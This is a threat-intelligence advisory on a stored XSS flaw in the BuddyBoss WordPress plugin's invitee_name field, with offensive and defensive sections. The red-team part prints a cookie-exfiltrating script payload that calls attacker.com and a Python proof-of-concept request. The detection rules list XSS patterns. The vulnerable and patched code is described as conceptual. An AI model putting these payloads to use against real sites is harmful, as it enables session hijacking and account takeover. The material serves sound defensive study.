CVE-2024-13858
Executive Summary
CVE-2024-13858 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the BuddyBoss Platform plugin (versions up to 2.8.50) and BuddyBoss Theme (versions up to 2.8.41) for WordPress. The flaw resides in the invitee_name parameter, which is insufficiently sanitized and escaped. An authenticated attacker with Subscriber-level access or higher can inject arbitrary web scripts that execute when other users access the compromised page. This vulnerability is particularly dangerous in a WordPress ecosystem because BuddyBoss is a popular community and social networking plugin, meaning injected scripts can spread rapidly through user profiles, group invitations, and activity feeds. The partial patch in v2.8.41 of the Platform plugin does not fully resolve the issue, leaving many installations exposed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin and theme distributed via the official WordPress plugin repository and commercial channels. Users who install BuddyBoss from third-party sources or outdated mirrors may be at higher risk. The partial patch status indicates a supply chain risk where incomplete fixes may give a false sense of security. Administrators should verify they are running the latest patched version from the official vendor.
CVSS Breakdown & Threat Level
CVSS Score: 6.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – the vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): Low – attacker needs Subscriber-level access.
- User Interaction (UI): None – the injected script executes automatically when the page is viewed.
- Scope (S): Changed – the vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure possible.
- Integrity (I): Low – limited ability to modify content.
- Availability (A): None – no direct denial-of-service impact.
Threat Level: Medium. While the CVSS score is moderate, the prevalence of BuddyBoss in community-driven WordPress sites and the ease of exploitation (low privileges, no user interaction) elevate the real-world risk. The partial patch status further increases the threat.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the invitee_name parameter. BuddyBoss allows users to invite others to groups or events. The invitee_name field is intended to display the name of the invited user. However, due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript code into this field.
Attack Flow:
- An authenticated user (Subscriber or higher) initiates an invitation to a group or event.
- The attacker crafts a malicious payload in the
invitee_nameparameter, e.g.,<script>alert('XSS')</script>. - The payload is stored in the database without proper sanitization.
- When any user (including administrators) views the invitation list or related page, the script executes in their browser context.
- The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the site.
The partial patch in v2.8.41 of the Platform plugin likely addressed some instances but not all, leaving other vectors (e.g., in the Theme or other plugin components) still exploitable.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In a BuddyBoss function handling invitations
$invitee_name = $_POST['invitee_name'];
// No sanitization or escaping
$wpdb->insert( $table, array( 'invitee_name' => $invitee_name ) );
Patched Code (Expected):
$invitee_name = sanitize_text_field( $_POST['invitee_name'] );
$invitee_name = esc_html( $invitee_name );
$wpdb->insert( $table, array( 'invitee_name' => $invitee_name ) );
The patch should use sanitize_text_field() to strip malicious tags and esc_html() when outputting the value. The partial patch may have missed some output contexts or alternative parameters.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress installation with BuddyBoss Platform (<=2.8.50) and/or Theme (<=2.8.41).
- An authenticated user account with Subscriber-level privileges.
Exploitation Steps:
- Log in as a subscriber.
- Navigate to a group or event invitation page.
- Intercept the invitation request (e.g., using Burp Suite).
- Modify the
invitee_nameparameter to include a malicious payload:invitee_name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the request.
- When an administrator or other user views the invitation list, the script executes, exfiltrating cookies.
Proof-of-Concept (PoC) Code:
import requests
target_url = "http://target-site.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "..."} # Subscriber session
payload = {
"action": "buddyboss_invite",
"invitee_name": "<script>alert('XSS')</script>",
"group_id": "1"
}
response = requests.post(target_url, data=payload, cookies=cookies)
print("Payload sent. Check target site for XSS execution.")
Blue Team (Defensive)
Detection Steps:
- Monitor for unusual
invitee_nameparameters containing<script>,onerror,onload, or other HTML event handlers. - Review web server logs for requests to
admin-ajax.phpwith suspiciousinvitee_namevalues. - Use a Web Application Firewall (WAF) to block common XSS patterns in POST parameters.
- Regularly scan WordPress installations for outdated BuddyBoss versions.
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri_path="/wp-admin/admin-ajax.php" AND form_data="*invitee_name*"
| rex field=form_data "invitee_name=(?<invitee>[^&]+)"
| where match(invitee, "(<script|<img|onerror|onload|javascript:)")
| table _time, clientip, uri, invitee
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections to known malicious domains from WordPress admin pages.
- HTTP requests containing
invitee_namewith encoded or raw script tags.
- Host IOCs:
- Database entries in
wp_bp_invitationsor similar tables withinvitee_namecontaining HTML/JavaScript. - Unexpected JavaScript files or injected code in BuddyBoss template files.
- Database entries in
- File IOCs:
- Modified BuddyBoss plugin files (e.g.,
bp-invitations/classes/class-bp-invitation.php).
- Modified BuddyBoss plugin files (e.g.,
- Log IOCs:
- Repeated 404 errors on non-existent pages (if attacker probes for vulnerable endpoints).
- Unusual
admin-ajax.phprequests withaction=buddyboss_invitefrom low-privilege users.
Detection Engineering
YARA Rule
rule CVE_2024_13858_BuddyBoss_XSS {
meta:
description = "Detects stored XSS payloads in BuddyBoss invitee_name parameter"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-13858"
strings:
$xss_payload = /invitee_name[^&]*<script[^>]*>/
$xss_event = /invitee_name[^&]*on\w+\s*=/
condition:
any of them
}
Sigma Rule
title: BuddyBoss Stored XSS via invitee_name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-13858 by injecting XSS payloads into the invitee_name parameter.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=buddyboss_invite'
keywords:
- 'invitee_name='
- '<script'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in invitee names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-13858 BuddyBoss Stored XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=buddyboss_invite"; http_client_body;
content:"invitee_name="; http_client_body;
pcre:"/invitee_name=[^&]*(<script|onerror|onload|javascript:)/i";
sid:10000001;
rev:1;
reference:cve,2024-13858;
)
Remediation & Mitigation
Immediate Actions:
- Update BuddyBoss Platform to version 2.8.41 or later (if available). Note that the patch is partial; monitor for a complete fix.
- Update BuddyBoss Theme to version 2.8.41 or later.
- If no patch is available, disable the invitation feature temporarily or restrict it to trusted users only.
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST parameters.
- Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
- Conduct regular security audits of WordPress plugins and themes.
- Educate users about the risks of clicking on suspicious invitations.
Workarounds:
- Use a security plugin like Wordfence to add an additional layer of XSS filtering.
- Manually sanitize the
invitee_namefield by adding a custom filter infunctions.php:add_filter( 'buddyboss_invitee_name', 'sanitize_text_field' );
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valtersit.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.